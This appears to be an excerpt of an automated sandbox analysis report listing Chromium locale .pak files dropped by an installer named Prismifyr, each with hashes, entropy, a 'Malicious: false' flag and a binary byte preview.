SSDEEP:	12288:APR7MrXUZiMUXzb4VMQOEoTQ6m0hY7Q593W24hjSEjR:AzicA51WR
MD5:	2DE2428422D74AB06A3A10C60DEE0B15
SHA1:	D08878C33CA0C32E38E7500AE6340640BAB2C9A9
SHA-256:	733825261A7892DBA1A16A668517D9F2F6C48C17C7DE3B01CB4A3830E9179838
SHA-512:	FBEA4AC2A41E224327058E363FD10E247A26D4507BF58D0DA5C7F20072272F853B25A0F26DA8BE1B38ED4684CF90E7FCCA094D393D9BDB14A4E19F53152626A2
Malicious:	false
Preview:	.........'x.e.P...h.X...i.i...j.u...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.6...w.b...y.....z.....\|.....}.......8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....q.......................k.............................R.....Z...........i.........................................n...........j...........a............ ....K!.....!.....!.....#.....#.....$.....$....C&....R'....+(.....(.....)....d.........3+....B,.....-.....-.....-....:/....P0....'1....b1.....2.....4.....4....Q5.....5.....6.....6.....7.....7....Q8.....8.....8....f9.....9....O:....d:....G;.....<.....<.....<.....=....P>.....>.....>.....?....S@.....@.....@.....A.....B.....B.....C.....C.....D.....E....QE....sF....rG....2H....aH....DI.....I....bJ.....J....OK.....K.....L....=L.....M.....M....?N....qN.....O....aP.....P....vQ....^R.....S....cS.....S.....T.....U....8V.....V.....W.....X....eY.....Y....9[.....\.....].....]....I_....G`.....a....}a.....b.....c....@d.....d....Ze.....f....mf.....f.....g.....h....ni

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ko.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	586014
Entropy (8bit):	6.069092952804209
Encrypted:	false
SSDEEP:	12288:PEw78zHbv7ANf/FTS0mIXRxMSAG0GlzRXhw8fIt8OQ4E3hstRbrCqYwH75Rag7j8:L8iA5vK2oUa
MD5:	FA3C8F5C1F1EE523C3F9D566DDB2BE24
SHA1:	171133DFE6C2200157B9F21E1BAB690632F2BA64
SHA-256:	A02DDB9E195A9AFF301F2E23C7ABC41BAF526E5F14CD4DBF15C55C5C5C78A09D
SHA-512:	5482A964CCD9AD951338CD09CD8F2F76ACFE8516A73D2BEA6390C9FAC17D532A2ED47FD50642B6D9D7B1313CB688C3A997068CD71B9B985E423C0054FBCB4DAA
Malicious:	false
Preview:	.........&..e. ...h.(...i.9...j.D...k.p...l.x...m.....o.....p.....q.....r.....s.....t.....y.;...z.i...\|.....}.................................................%.....,...........3.....?.....O.....b.....r...........e.................<.......................o...........#.....7.................I.....].................P.....`.................S.....f...........1.....V.....q...........O.......................S.......................E.....q.....~...........P.................%.......................d.......................D.............................m.........................................G.......................R ..... ..... ..... ....Y!.....!.....!.....!....V"....."....."....."....t#.....#..../$....C$.....$.....$.....%....,%.....%.....%.....&....2&.....&.....&.....'....0'.....'....#(....`(.....(.....(.....)....2)....?).....).....)....)....<..............&+....A+.....+....?,.....,.....,.....-....l-.....-.....-....%.....\|................../....q/...../...../.....0....f0.....0.....0....&1

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\lt.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	630430
Entropy (8bit):	5.629401487038347
Encrypted:	false
SSDEEP:	12288:9pa3GQES6MAMF2glccVOc354745CMjMK6SuM:q3GpMxmE3595JjMA
MD5:	EA646CE51BD07999529FB719DDF063D5
SHA1:	94FEE802CC876E5D2B722D1872C7ED927A14C33F
SHA-256:	AF5EA09E52A33451C43DBCEE0028FF0A19BCE6877C00F2643B8FA1F9D060EF90
SHA-512:	58D0BEB8D91825785DD4C0AD08070A04554CBAD39B443CB9CC8B2747A8257A5295FEBFC4484DD3E7A3EDE86859BCEBBCB176A112016FD07C64BE1D856BD39678
Malicious:	false
Preview:	.........'..e.....h.....i.-...j.9...k.H...l.S...n.[...o.`...p.m...q.s...r.....s.....t.....v.....w.&...y.M...z.{...\|.....}..................................... .....'.........../.....0.....2.....@.....M.....a.....r..................................@.................:.............................%.....].....w...........p...................................................../.....T...........g.................?.......................t...........(.....8...........P.................A............ ....= ..... .....!....F!....a!.....!....D"....t"....."....."....r#.....#.....#....2$.....$.....$.....%....w%.....%....1&....@&.....&....>'....y'.....'.....(.....(.....(.....(....@).....).....).....)........./+.....+.....+.....,.....,.....,.....,....a-.....-..........F...........8/....n/...../.....0.....0.....0.....1....v1.....1.....2.....2.....2....;3....}3.....3.....4.....4.....4.....5.....5....^6.....6.....6....Q7.....7.....8....38.....8....e9.....9.....9.....:....\|:.....:.....:....5;.....;.....<

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\lv.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	629152
Entropy (8bit):	5.631366311772276
Encrypted:	false
SSDEEP:	6144:Qa6OdcQGWLW+fD28mZEN4mNLtVFFKbW0E14i4f/ZbOHu51b4BWFAqZTCO5CoCYJf:BXyQzWGPUBE0HcHu5xFAqZTP5bJhgB8
MD5:	A49F706E800B0679551442F2E98DAD4F
SHA1:	E3B505F693C111113FB47C436A8637E8F552FE95
SHA-256:	EBADE538CF0CA8DE4878F5FF703A18050D7494DD97E2CBA8B0A0F27FE397D468
SHA-512:	A1F02EF0682727324B7A4F2EECC4BEC3B6E363589C39D3AD63C92D9EF36A6F81C7EBF2FF68922F1966E8635A19AA38D109880526502F9A6C1A240C4272409556
Malicious:	false
Preview:	.........'s.e.Z...h.b...i.s...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.@...w.l...y.....z.....\|.....}.......B.....G.....O.....W....._.....f.....m.....t.....u.....v.....x.............................j...........y...................................j...........`.....}.............................H.......................x...........@.....R...........B.....t...........3...........+.....O...........P.........................................m...........S.....p............ ..... .....!....f!.....!....."....."....p".....".....#.....#....\|#.....#.....$....-$.....$....>%.....%.....%.....%....~&.....&.....&....)'.....'.....'.....'....\(.....(.....)....").....).........U....f..........+.....+.....,....Y,.....,.....,.....,....n-.....-....+.....K............/....?/....N/...../....m0.....0.....0....H1.....1.....1.....1....p2.....2....(3....A3.....3....?4.....4.....4....95.....5....^6....q6.....6....t7.....7.....7....C8.....8.....9.....9....}9.....9.....:....$:.....:....;;.....;

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ml.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1448167
Entropy (8bit):	4.271759959495784
Encrypted:	false
SSDEEP:	12288:FvvbhsMrrmLIcaWyygh4hxn9mMPIPFiKfpBP1zX13dqc9Cuz3ejha+5465MXAfGS:dbhtPwgQKfpBP1zXLRz3eb546WXAu3C
MD5:	4ADA3D6AFCA7A3536CA56766921A2E11
SHA1:	22445C79906D71F75486C767E22562FD28FBAE24
SHA-256:	901C7E8006D1E73A7E8146B383F54DF5D90EA622F0EC4CB5660019ACB8433D4A
SHA-512:	4AD124E2E57693592403B73D05993FB46B1BC1DFC50D0AB326AE96CD1C1461CD1CD1B4E8CA4445CEDE3F7FF12278D07B3A138201E9028DDDB31E2B4D8B151748
Malicious:	false
Preview:	.........'\|.e.H...h.P...i.a...j.m...k.\|...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.Z...y.....z.....\|.....}.......0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i.................&.....r...........D.....3.......................J.................e.....T.......................p.................a ..... .....!....."....."....\|#.....#.....$....v%.....%....<&.....'.....(....`).....).....*.....+...._,.....,.....-..........(/....l/.....0.....1....w2.....2....Q4.....5.....6.....6.....7....]8.....8.....8.....9....o:.....:.....;.....;.....<.....<.....=.....=.....>....I?....}?....a@.....@....xA.....A.....B....aC.....C.....D.....D.....E....JF.....F....VG.....H.....H.....H.....I.....J.....K.....K.....L.....M.....N....LN.....O.....O.....P....GP....#Q.....Q.....R.....R.....S.....T.....U.....U.....V.....W.....X....MX....oY....fZ.....[....G[.....\....H].....]....F^....t_.....`....la.....a.....b.....c.....d.....d.... f.....g.....g.....h.....h.....i....Xj.....j.....k.....l.....m

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\mr.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	1194976
Entropy (8bit):	4.299284484565534
Encrypted:	false
SSDEEP:	6144:aK4MfL6X/05r9BKw9acCsKZKJUPjSHro053mPnkj:3PL6X/CB9acCVZ1PjSHrJ53mPnkj
MD5:	4768C4DAF4CE9FFDEB3D11CE64E0F3EC
SHA1:	E4EEBD9C013F0A7857B6678DDD76E51535F82102
SHA-256:	D1332150DA50884E0CAAF78C36117C0D5958E4B3EA067E3DFE7AE157FEC01DE3
SHA-512:	E60771B5E55DEFC66DF1C6043F4F3214B71CFF1509D928029BB3A13BCD3C3B665DDFD1426DB300D08C1D978C5F62881CE37D64252C264C495E1B015FF11FE22B
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.M...t.d...v.....w.....y.....z.....\|.A...}.r...................................................................................7.........................................&.................\..........._.......................@.....l.....?...........Z...........h.....7 ..... ..... .....!.....".....#....^#.....$.....&.....&....?'....](....`).....).....*....U+....U,.....,.....-....M.....k/.....0....T0.....1.....3.....3....&4.....5.....5....C6....}6....@7.....7....58....a8.....9.....9.....:....!:.....;.....;....f<.....<.....=....\>.....>.....>.....?.....@.....@.....@.....A.....B.....B.....B.....C.....D.....D.....E....\F.....G....GH.....H....EI.....I....>J....gJ.....K.....K.....K.....L.....L.....M.....N....5N....^O....YP.....P....oQ....YR.....S....wS.....S.....T.....U....uV.....V.....W.....X....xY.....Y.....[....[\....D]....k].....^....._....i`.....`.....a.....b....8c....gc....8d.....e....ae.....e.....f.....g....+h

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ms.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	541878
Entropy (8bit):	5.251528064733263
Encrypted:	false
SSDEEP:	6144:/LPFWy2DA6axAq2YemRl/B5VTUcjt95b3RSyGADBmvzt:5WywMxH2sl/FL95V9Gv
MD5:	3DD48ACA5A1B1F54ABEE583B28B03DA7
SHA1:	D42B7E2252776A7E960A7AEF6B849FE6F6C8CBFB
SHA-256:	9D1353D27C77B38E18F22E4719F8781DD6C126F86F6A84FF5170D28A202ACA7E
SHA-512:	F190939C13C2D1AB318084DCA42D8132B723A4BBA775EF547944675F7DB37497BFB45C2391B792091EE4416BDDFF7BEF25F3F707BA1346C5F7EBAB7FEF410C8C
Malicious:	false
Preview:	.........'t.e.X...h.`...i.h...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.5...w.a...y.....z.....\|.....}.......7.....<.....D.....L.....T.....[.....b.....i.....j.....k.....p.............................^.................I.................<.....L................k.................X.......................`.......................U.......................Z.................).......................J.......................'.....{.......................s.................2.......................Y.............................n.......................A.....h.....t...........; ....u ..... ..... ....C!....x!.....!.....!....9"....k"....u"....."....'#....W#....`#.....#.....$....M$....X$.....$....;%.....%.....%.....%....<&....a&....y&.....&.....'....@'....Z'.....'.....'...."(....3(.....(.....(.....)....:).....).....).....).....)....O...............*...._+.....+.....+.....,.....,.....-....Y-....g-.....-....6.....q.................C/....q/....~/...../.....0....50....E0.....0.....0.... 1

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\nb.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	525422
Entropy (8bit):	5.430748766089203
Encrypted:	false
SSDEEP:	12288:xygOR9ctzl4u5Op7f1MHY+HVbE59KLbSAk7f7t:xYP99+HVbE54LbP4R
MD5:	8490972014FBED7640AF1C8F2986F8E4
SHA1:	A7B6823D6BD185EEB726607588C0C6CAD162A77D
SHA-256:	BABCE9D88ABE13C3B7C99E9A9BC4D61B5A07FFDE4B92951A71CE825988001DC3
SHA-512:	C60AF35C652B4BD08D0DC9C5289444BB1C83E2CB6F928763E13E7989DD94034FD1D6C9715FADDA0C2B09268B4D1B11823E7FA60BD1AF96883009B81787C439F8
Malicious:	false
Preview:	.........'..e."...h....i.A...j.M...k.\...l.g...n.o...o.t...p.....q.....r.....s.....t.....v.....w.:...y.a...z.....\|.....}.........................%.....-.....4.....;.....B.....C.....D.....F.....Q.....`.....s...................................i.............................(.....x.................Z.......................W.......................D.....m.....\|...........L.....\|...................................j...........7.....V...........0.....h.....\|...........\|.................w...........T.....v.................#.....1.................. ..... ....j ..... ..... ..... ....S!.....!.....!....."....i".....".....".....#....k#.....#.....$.....$....i$.....$.....$.....$....[%.....%.....%.....%....j&.....&....''....?'.....'.....'.....(....)(.....(.....(.....(.....)....e).....).....).....)....l..........+....P+.....+.....,....,....C,.....,.....-....<-....T-.....-..........T.....h...........C/...../...../....!0.....0.....0.....1....y1.....1.....2.....2....c2.....2.....2.....2....F3.....3.....3

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\nl.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	543553
Entropy (8bit):	5.364700056174464
Encrypted:	false
SSDEEP:	12288:G7JWlbJ9WQusQUWFgY5smc2x5btfmzmkbqqn9/OTy:kolbJ9WQusQUM5smc2x5bFmzmkbqqn9V
MD5:	B16BA2B8757A30C54B5E2A031455A7A8
SHA1:	145DD67CEEE8350465539B232F769CC9ED9B697C
SHA-256:	16B5B42A79CA4A78F75D734F19608C500E79421891216BBDA20BC072733326F9
SHA-512:	A095107EDF1E288A3BB2382825B1C54ECD6F23D1F9EA215B2C4BF4789E02139B25B2909C8A447BACB2650589B2993B3D96CD7E41D965638C8F78E110D1A54FAC
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.$...l./...n.7...o.<...p.I...q.O...r.[...s.....t.....v.....w.....y.)...z.W...\|.~...}....................................................................................;.....M...........o.................Y.......................}...........5.....K.................N.....e.................9.....H........................................9.....Z...........2.....i.................G.....\|.................V.........................................].................5.............................Z................................................ ....~ ..... ..... .....!....w!.....!.....!....."....W"....."....."....."....6#....b#....o#.....#....+$...._$....n$.....$....J%.....%.....%.....&....Y&.....&.....&.....&....?'....`'....w'.....'....-(....U(....g(.....(....9)....p).....).....)....>....\....p.........4+....f+....w+.....+....I,.....,.....,..../-.....-......................./....F/....k/...../....60....g0....\|0.....0.....1....C1....S1.....1.....2....C2

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\pl.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	605870
Entropy (8bit):	5.768440868411214
Encrypted:	false
SSDEEP:	12288:+7Y5WoOB/kDqOXfQfuzSJY6HAubIoP/CUdse3m2UXMgm/1QhHsB51bT46ewy:+Z2DM31QhU5KF
MD5:	B1AD1AF029417FA063F253DD8805F18D
SHA1:	3FE27D6ADFA0AA9E2D83DC3090144B92EA8D29E6
SHA-256:	0E7AEC76013F6CCFFBE7500B03BACD11A5CFC622F9E090EE2552BEE1BE18C4D7
SHA-512:	7199B40448CDFC10E6988AAA7FF35F545D94978D4A580F7638350940C0FF645D2989953DE597179AA7C9DDF3AC362492DB99FAE73EE9C034D1CBF9EE8DD361C4
Malicious:	false
Preview:	.........'..e.....h.$...i.5...j.?...k.N...l.Y...n.a...o.f...p.s...q.y...r.....s.....t.....v.....w.,...y.S...z.....\|.....}.....................................&.....-.....4.....5.....6.....8.....G.....U.....j.............................#.................+.....>...........S.......................{.................5...............................................O...................................O.....t...........>.....v.................S................. ...................................j......................?.....`.................. ...., ....u ..... ..... ..... ....U!.....!.....!....."....c".....".....".....#...._#.....#.....#.....#....P$.....$.....$.....$....@%.....%.....%.....%....W&.....&.....'....1'.....'.....'.....'.....'...._(.....(.....(.....(....K).....).....).....)....m..........+....F+.....+.....+.....+.....,....y,.....,.....,.....-.....-.....-....1.....K...........>/...../...../....+0.....0.....0.....1....i1.....1.....1.....1....F2.....2.....2.....2....3.....3.....3

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\pt-BR.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	568824
Entropy (8bit):	5.424090078895697
Encrypted:	false
SSDEEP:	6144:ikRiNLcbEOeqq5QNBXBLQSL4yPN5hDXFmW1sRgMCrX:ihcbEOen525ZXPsR9CT
MD5:	8074F94BD6A849CA9CF45E1DB07A02E9
SHA1:	EE73C512604D55D11332B904BB6200CBCC4218EC
SHA-256:	119071C3574CBD1E5CC183CA046F50A2137E867BC410FD4A44DF36EE7CF7DB3F
SHA-512:	5BE036D8798306780F17D759947064EF456EF5A511A7EF2253DA09AD06DFF4E2831794F8DBE72F23B551CCF8C5252278815B21B266931F99F27C7764E342ECD4
Malicious:	false
Preview:	.........'..e. ...h.(...i.9...j.E...k.T...l._...n.g...o.l...p.y...q.....r.....s.....t.....v.....w.2...y.Y...z.....\|.....}...............................%.....,.....3.....:.....;.....<.....A.....S.....c..................................1.................1.....A...........^.................@.......................B.......................'.....~.................S.................3...........(.....p.................k.................(.......................V.................-...........9.......................J.....p.................: ....p ..... ..... ....7!....l!....z!.....!....@"....{"....."....."....9#....j#....v#.....#.....$....F$....P$.....$.....$.... %....%.....%.....%.....&....0&.....&....+'....}'.....'.....'....3(....W(....l(.....(.....)....).....).....)....................+....R+.....+.....+.... ,....9,.....,.....,.....-.....-.....-.....-....4.....P...........P/...../...../....M0.....0.....1....31.....1.....1.....2.... 2....q2.....2.....2.....2....l3.....3.....4....-4.....4

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\pt-PT.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	572356
Entropy (8bit):	5.399170343779364
Encrypted:	false
SSDEEP:	6144:higrtjhtWK++5QBieJVJJxh2D43RfZRI5ejB/9SRIh:higvA+eI5ejB1SRA
MD5:	58F85DFAEB98EC09CE1D5E4001414062
SHA1:	4A425E3DD507D4E24E47DA08A752A414EEEBBCAD
SHA-256:	6665BB3614DB52493D62A4A7599A0F70D87A9360B6463B4EB9D52BDA97267B39
SHA-512:	B7C886A64D993889135E2DE6EA47ED725850916FCE2C1D3581DA82185EABE466DC143F124E5793F372BF6CD39E7D59A68264250D5817979952D8BC73B943C594
Malicious:	false
Preview:	.........'r.e.\...h.d...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.B...w.n...y.....z.....\|.....}.......D.....I.....Q.....Y.....a.....h.....o.....v.....w.....x.....}.............................Y...........A.....^...........).....t...............................................<.....`.................-.....=.......................#.................S.................a.................1.......................P.......................m...........".....7...........-.......................Y.......................G ....x ..... ..... ....J!.....!.....!.....!....Z"....."....."....."....[#.....#.....#.....#....>$....k$....u$.....$.....%....D%....N%.....%.....&....9&....J&.....&....('....x'.....'.....'....8(....b(....~(.....(.....(.....)....().....).....).........3.....*.....+....Y+.....+.....+....",....L,....^,.....,.....-....B-....W-.....-..........f............/...../...../...../....y0.....0....01....T1.....1....72....w2.....2.....2....+3....P3....e3.....3....34....o4

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ro.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	593139
Entropy (8bit):	5.453540423426423
Encrypted:	false
SSDEEP:	6144:z+nmepgF/eM6PXEvTpGKdjOoTxatgVSK0GFq584xUXqs2u2/t2E3:CmepuedXEv8KBOo9aoFJq58CUv2/p3
MD5:	C93F9732B24292D5B4E9FB5076127107
SHA1:	9BA57F6AD8437405588D86548EFB02945A530F03
SHA-256:	D01A6CAF125CECB2BC232A00039C4C8422C88B2D5EC374C89A6CB0117E8EF33F
SHA-512:	C51015B24B1A73540648B4338DA33783E7E4685317A60F64566CB3EB2366A4BD27114F96DB1541F553E626F15FFBC95BEC78F562E93613DE935509E76DDC2AEE
Malicious:	false
Preview:	.........'..e.....h. ...i.1...j.;...k.J...l.U...n.]...o.b...p.o...q.u...r.....s.....t.....v.....w.(...y.O...z.}...\|.....}.....................................".....).....0.....1.....2.....4.....C.....O.....].....o.............................`...................................d.................l.................!.....w.......................S.....\|.................q.................^.................2.................X.....q...........4.....h.....}...........S.................@.................>.............................g.......................8 ..... ..... ..... .....!....u!.....!.....!....."....o".....".....".....#....W#.....#.....#.....#....-$....S$....c$.....$.....%....D%....X%.....%....P&.....&.....&.....'....W'....v'.....'.....'....'(....G(....k(.....(....,)....[)....n).....)...._..........*....6+....y+.....+.....+....',.....,.....,.....,....R-.....-.....-.....-....w...........I/....b/...../....S0.....0.....0....61.....1.....1.....1....:2.....2.....2.....2....<3.....3.....3

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\ru.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	975006
Entropy (8bit):	4.8399611448975195
Encrypted:	false
SSDEEP:	12288:OHKqm+fQjRo4YSWPAY+zJ9ZF1WAavd/96HzW/yqSvDs/m1sXel+YHVeXN2hVO3j9:oKqmut5/3rb
MD5:	94D946AC5ACE00800D331DD4A34491ED
SHA1:	312D5A7EB279B7BCB770D885F706D3B6570FDA4F
SHA-256:	55115E738615F0CEF631DA4FF14FC261B370CA469840C21EE11ABB699A49DA8C
SHA-512:	62AF857D63EA3A479F29C5BDE424F866281B9BE29527950F68F68A83C95E109E338F301D16C88A2512382FEAFD1BD7EB509D75A74601A29C222FA6706D059DDC
Malicious:	false
Preview:	........"';.e.....h.....i.....j.....k.....l.....n.....o.....p.#...q.)...r.5...s.d...t.{...v.....w.....y.....z.1...\|.X...}...............................................................................".....:.....a.....V....."...............................................B.............................E.......................6.....Y.................O.....f.......................H.....;.......................x...........]...........9 ..... .....!....?!.....!....."....!#....N#....R$....L%.....%.....&.....&.....'....['.....'.....(.....(.....(.....(....]).....).....)...............+....V+....{+....!,.....,.....,.... -.....-....#.....^.....u...........r/...../...../....@0.....0.....0.....0.....2.....2....]3.....3.....4.....4.....4.....4....R5.....5.....5.....5....z6.....7.....7.....7.....8....,9.....9.....9....z:.....:.....;.....;.....;....E<.....<.....<.....=.....=....k>.....>....h?.... @.....@.....@.....A.....B.....C....jC.....D.....D.....D.....D....vE.....E....$F....=F.....G.....G....2H

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\sk.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	612854
Entropy (8bit):	5.813093030677285
Encrypted:	false
SSDEEP:	12288:1PFFdbkpIh4di1i5JAY5Evvw3QXtWTjsxt90g:PFdzciY5gwIPtCg
MD5:	E61D8CDF7F7FE4DADA93A04ED91A9B83
SHA1:	8553D0345BE95D506A21C4E62149858FECA51F56
SHA-256:	9B87EA25180BB8DDDAB69359D41D594F1A594F87EC75EB201F6BCA6AC87B488E
SHA-512:	CF73149982C81E26D1C3BD73CB1CF6D4B1C8AC59D5E0C1777E92D420BC56E78FCAF737DA785578CB95D2E8B61C1D8A828A0EEAD147B5934EB764B64F6E91ADC0
Malicious:	false
Preview:	.........'..e."...h....i.>...j.J...k.Y...l.d...n.l...o.q...p.~...q.....r.....s.....t.....v.....w.7...y.^...z.....\|.....}........................."..........1.....8.....?.....@.....A.....C.....W....._.....q...........B...........^.....\|...........].................7.................%................./.....F.................D.....W.................9.....M...........&.....[...............................................<.....U...........8.....n...................................t...........R.....m...........# ....C ....X ..... .....!....?!....Q!.....!....."....9"....K"....."....+#....i#.....#.....#....\$.....$.....$.....$....h%.....%.....%.....&.....&.....&.....&.....'.....'.....'.....'.....(.....)....T)....l).....).........'....;..........*.....+....!+.....+.....+....#,....3,.....,....0-....u-.....-..........S.....o............/....b/...../...../....)0.....0.....0.....0.....1....+2.....2.....2....&3.....3.....3.....3...._4.....4.....4.....5....\5.....5.....5.....5....o6.....6....!7

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\sl.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	588186
Entropy (8bit):	5.4894258963470834
Encrypted:	false
SSDEEP:	12288:o0MGJWb3cB2FXoFPy53rfpWJU1ui/fzxlqc:oVGJoXkPy53rfgi/fzx7
MD5:	6A65B44554925033A095F999245EE4C4
SHA1:	3E0F0C96065729DCB852E27F54FEBDDE6E715153
SHA-256:	771D38370DA66E3E38EC1266B8191F75E0981B54E1133BEA77A72C1DDC84C1FE
SHA-512:	692B4F9009305CBC4959C4890723EC71A0668D7D4235599995727A8DD140865243A8330C43D2EF14847CF4E06B1851EAAEC731D4DB1038F6A07B4B8931D40DBC
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.(...l.3...n.;...o.@...p.M...q.S...r._...s.....t.....v.....w.....y.-...z.[...\|.....}.........................................................................$.....2.....B.....U...........t.................P...................................T.....s...........?.....s.................>.....i.....v...........1.....\.....k...........M.................&.......................c................. .................+.....?...........9.....p............................!.....\|.......................Z.......................E ..... ..... ..... ....Q!.....!.....!....."....t".....".....#.....#.....#.....$....A$....V$.....$.....%....@%....S%.....%.....&....H&....W&.....&....2'....o'.....'.....'....>(....^(....v(.....(....#)....A)....\).....).........b....t.....*....U+.....+.....+.... ,....r,.....,.....,.....-....~-.....-.....-....9......................../....50.....0.....0....p1.....1....F2.....2.....2....Z3.....3.....3.....3....A4...._4....o4.....4....O5.....5

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\sr.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	905278
Entropy (8bit):	4.764362525250864
Encrypted:	false
SSDEEP:	12288:u2uMrsTd7M3KS7PISzNSzdV/Jui4til40b95YLEqu0xjHgV37n5Di/k/0:VuFIuv595guWp
MD5:	755D73BE3227055EF6CC084CDF8E2C2B
SHA1:	B1894B1A8E53393D75907DFB2E88806581FC00A8
SHA-256:	8C31D207616B081E016A5DF4E67DABFABE37072F1BCDA1CDAA64EA4D935EE694
SHA-512:	79029204F641D07B9D729715FF1CFB0D396353729FBF40BBCB25A7DFF3C843A9A054D7E38849AA1C87EF2014D83E864C1CD30B8265A7928778EAD690DD4E0A93
Malicious:	false
Preview:	.........'..e.....h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....q.....r.....s.....t.....v.....w.@...y.g...z.....\|.....}...................#.....+.....3.....:.....A.....H.....I.....J.....L.....v.........................................`.....$...........1.....T.....O.............................[.......................7.................6.............................p.............................K ..... ....Q!.....!....P"....y"....5#.....#.....$....S$....9%.....%....p&.....&.....'.....(....()....d).....)....d..........*....P+.....+.....+.... ,.....,.....-....U-....t-....8...........9/....d/.....0.....0.....0.....0.....1.....2...._2....z2.....3.....3.....3.....3.....4....,5....\|5.....5....i6.....7.....7.....7....S8.....8.....8....$9.....9....3:....l:.....:....S;.....;....2<....O<.....=.....=.....>....j>.....?....s?.....?.....?.....@....%A....zA.....A.....B.....C.....C.....C.....D....tE.....F....(F.....G.....G..../H....yH....3I.....I.....J....3J.....J.....K....fK.....K....TL.....L....iM

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\sv.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	528661
Entropy (8bit):	5.545708741277744
Encrypted:	false
SSDEEP:	6144:wQ/ltJdLpItV1QdjT6shgjCCx//Gl9dB+4RFcz5RtGl5nYF4tkvMmSO5DE/xJa5z:1ttjLp/djTaCUL50rF2MC
MD5:	880F07AC4356D10EFBBEB620CC8A2D43
SHA1:	2E3832AEB4E3D5D06B7B8D7E3754A6272E784D37
SHA-256:	3C234EA7524FBEAEE25461CF7E5A11A0DF851E6D58B63505158EF12F2501F6E3
SHA-512:	BC40FF232C56B9154B78F9BCA1C9266A3F773B595D4F4C64FF1D49ACD6A3278B477EE584DBF0D84179F5B027C5EEC0708C4943929961D1EA4CF697558F6B2CCA
Malicious:	false
Preview:	.........'..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.D...t.[...v.....w.....y.....z.....\|.8...}.i...........................................................................................................e.....{...........N.........................................q......................~.......................~................. .................=.....]...........K.......................i.........................................Q................./...........Z.................(.....z.......................[.......................9 ...._ ....n ..... ....>!....u!.....!.....!....B"....p"....."....."....4#...._#....n#.....#....$$....O$...._$.....$...."%....T%....c%.....%....6&....q&.....&.....&....1'....Q'....j'.....'.....(....%(....=(.....(.....(.....(.....).....).....).... ....P..........+....#+....9+.....+.....+.....,....2,.....,.....,....&-....<-.....-....@.................+/...../...../...../....c0.....0.....0.....1....R1.....1.....1.....1....*2.....2.....2

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales\sw.pak

Download File

